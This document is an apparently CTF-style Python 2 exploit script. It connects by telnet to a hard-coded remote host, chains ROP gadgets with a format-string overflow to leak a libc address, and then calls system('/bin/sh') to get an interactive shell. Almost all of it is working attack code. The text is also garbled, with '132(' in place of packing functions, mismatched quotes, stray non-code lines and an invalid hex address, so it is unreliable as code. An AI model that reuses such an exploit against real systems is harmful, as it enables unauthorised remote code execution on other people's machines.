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#encoding:utf-8

from convert import *
import telnetlib

#ip = '192.168.194.129'
#port = 1234

ip = '202.112.26.106"
port = 5149

t = telnetlib.Telnet(ip, port)

def stop():
raw_input('pause')

put_got = 0x0804b0o10

put_glt = 0x08048510

print_glt = 0x08048516

pop_ret = 0x08048481

payload = 132(put_got)+132(put_glt)+132(0x080484F6)+132(0x08048506)+132(0x080484b6)+132(0x08048526)+ \
132(0x08048536) + 132(0x08048546) + 132(0x08048556) + 132(0x08048566)

#232

#print 272-len(payload)

format = '%p'’

num_h = ((272-len(payload)-1 - 21))/3
num_a = 22 - len(format)

#ret_addr
alarm got

0x08048C80
0x0804B018
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pop_pop_pop_ret = 0x0804847E
pop_ebp_ret = 0x08048B01
read_buf = 0x080486CB

#payload = payload + format + num_a*'a'+num_h*'h'+132(ret_addr)+132(alarm_got)
payload = payload + format + num_a*'a'+num_h*'h'+132(pop_ret)+132(alarm_got)
payload += 132(put_glt) + 132(pop_ret) + 132(put_got)

buff = 0x0804b508

size = put_got

leave_ret = 0x08048A6E

payload += 132(read_buf) + 132(pop_pop_pop_ret) + 132(buff) + 132(size) + 'a'*4
payload += 132(pop_ebp_ret) + 132(buff)

payload += 132(leave_ret)+'12345"

def input_flag():
t.read_until('choice:")
t.write('1\n")
t.write(payload+'\n")

def leatity():
t.read_until('choice:")
t.write('4\n")

def exp():
stop()
input_flag()
leatity()
t.read_until('12345\n")
put_addr = 132(t.read_until('12345')[0:4])
base = put_addr - 0x00065650
print hex(put_addr)
system = base + 0x00040190
binsh = base + 0x00160A24
shell '1234'+132(system)+'5678"'+132(binsh)+'\n"
t.write(shell)

t.interact()

exp()
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